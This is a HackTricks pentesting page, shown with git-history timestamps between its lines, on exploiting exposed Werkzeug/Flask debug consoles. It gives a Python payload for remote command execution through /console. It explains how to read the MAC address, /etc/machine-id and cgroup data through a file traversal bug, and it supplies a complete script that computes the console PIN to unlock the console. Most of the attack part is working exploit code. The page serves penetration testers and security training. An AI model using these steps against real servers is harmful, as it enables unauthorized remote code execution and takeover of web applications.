hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

197 lines
9.4 KiB
Markdown
Raw Normal View History

# Werkzeug / Flask Debug
2022-04-28 16:01:33 +00:00
<details>
2023-12-31 01:24:39 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2023-12-31 01:24:39 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2023-12-31 01:24:39 +00:00
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-12-31 01:24:39 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-04-06 16:25:58 +00:00
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
2024-01-11 13:23:18 +00:00
**Instantly available setup for vulnerability assessment & penetration testing**. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun.
2024-01-11 13:23:18 +00:00
{% embed url="https://pentest-tools.com/" %}
## Console RCE
2020-11-22 21:47:52 +00:00
If debug is active you could try to access to `/console` and gain RCE.
```python
__import__('os').popen('whoami').read();
```
2024-04-06 16:25:58 +00:00
![](<../../.gitbook/assets/image (114).png>)
There is also several exploits on the internet like [this ](https://github.com/its-arun/Werkzeug-Debug-RCE)or one in metasploit.
## Pin Protected - Path Traversal
2020-11-22 21:47:52 +00:00
In some occasions the **`/console`** endpoint is going to be protected by a pin. If you have a **file traversal vulnerability**, you can leak all the necessary info to generate that pin.
2020-11-22 21:47:52 +00:00
### Werkzeug Console PIN Exploit
2020-11-22 21:47:52 +00:00
2024-02-04 16:10:29 +00:00
Force a debug error page in the app to see this:
2020-11-22 21:47:52 +00:00
```
2020-11-22 21:47:52 +00:00
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
2024-02-04 16:10:29 +00:00
A message regarding the "console locked" scenario is encountered when attempting to access Werkzeug's debug interface, indicating a requirement for a PIN to unlock the console. The suggestion is made to exploit the console PIN by analyzing the PIN generation algorithm in Werkzeugs debug initialization file (`__init__.py`). The PIN generation mechanism can be studied from the [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), though it is advised to procure the actual server code via a file traversal vulnerability due to potential version discrepancies.
2020-11-22 21:47:52 +00:00
2024-02-04 16:10:29 +00:00
To exploit the console PIN, two sets of variables, `probably_public_bits` and `private_bits`, are needed:
2020-11-22 21:47:52 +00:00
#### **`probably_public_bits`**
* **`username`**: Refers to the user who initiated the Flask session.
* **`modname`**: Typically designated as `flask.app`.
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generally resolves to **Flask**.
* **`getattr(mod, '__file__', None)`**: Represents the full path to `app.py` within the Flask directory (e.g., `/usr/local/lib/python3.5/dist-packages/flask/app.py`). If `app.py` is not applicable, **try `app.pyc`**.
2024-02-04 16:10:29 +00:00
#### **`private_bits`**
* **`uuid.getnode()`**: Fetches the MAC address of the current machine, with `str(uuid.getnode())` translating it into a decimal format.
* To **determine the server's MAC address**, one must identify the active network interface used by the app (e.g., `ens3`). In cases of uncertainty, **leak `/proc/net/arp`** to find the device ID, then **extract the MAC address** from **`/sys/class/net/<device id>/address`**.
* Conversion of a hexadecimal MAC address to decimal can be performed as shown below:
```python
# Example MAC address: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
* **`get_machine_id()`**: Concatenates data from `/etc/machine-id` or `/proc/sys/kernel/random/boot_id` with the first line of `/proc/self/cgroup` post the last slash (`/`).
<details>
2024-02-04 16:10:29 +00:00
<summary>Code for `get_machine_id()`</summary>
2020-11-22 21:47:52 +00:00
2020-11-22 21:53:42 +00:00
```python
2024-02-04 16:10:29 +00:00
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
2024-02-04 16:10:29 +00:00
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
2020-11-22 21:47:52 +00:00
```
</details>
2024-02-04 16:10:29 +00:00
Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN:
Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN. The script uses the assembled `probably_public_bits` and `private_bits` to create a hash, which then undergoes further processing to produce the final PIN. Below is the Python code for executing this process:
2020-11-22 21:47:52 +00:00
2020-11-22 21:53:42 +00:00
```python
2020-11-22 21:47:52 +00:00
import hashlib
from itertools import chain
probably_public_bits = [
2024-02-04 16:10:29 +00:00
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
2020-11-22 21:47:52 +00:00
]
private_bits = [
2024-02-04 16:10:29 +00:00
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
2020-11-22 21:47:52 +00:00
]
2024-02-04 16:10:29 +00:00
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
2020-11-22 21:47:52 +00:00
for bit in chain(probably_public_bits, private_bits):
2021-03-18 22:41:37 +00:00
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
2020-11-22 21:47:52 +00:00
h.update(b'cookiesalt')
2024-02-04 16:10:29 +00:00
# h.update(b'shittysalt')
2020-11-22 21:47:52 +00:00
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
2021-03-18 22:41:37 +00:00
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
2020-11-22 21:47:52 +00:00
2024-02-04 16:10:29 +00:00
rv = None
2020-11-22 21:47:52 +00:00
if rv is None:
2021-03-18 22:41:37 +00:00
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
2020-11-22 21:47:52 +00:00
print(rv)
```
2022-04-28 16:01:33 +00:00
2024-02-04 16:10:29 +00:00
This script produces the PIN by hashing the concatenated bits, adding specific salts (`cookiesalt` and `pinsalt`), and formatting the output. It's important to note that the actual values for `probably_public_bits` and `private_bits` need to be accurately obtained from the target system to ensure the generated PIN matches the one expected by the Werkzeug console.
{% hint style="success" %}
If you are on an **old version** of Werkzeug, try changing the **hashing algorithm to md5** instead of sha1.
{% endhint %}
2022-04-28 16:01:33 +00:00
## References
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
2024-04-06 16:25:58 +00:00
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
2024-01-11 13:23:18 +00:00
**Instantly available setup for vulnerability assessment & penetration testing**. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun.
2024-01-11 13:23:18 +00:00
{% embed url="https://pentest-tools.com/" %}
2022-04-28 16:01:33 +00:00
<details>
2023-12-31 01:24:39 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2023-12-31 01:24:39 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2023-12-31 01:24:39 +00:00
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-12-31 01:24:39 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>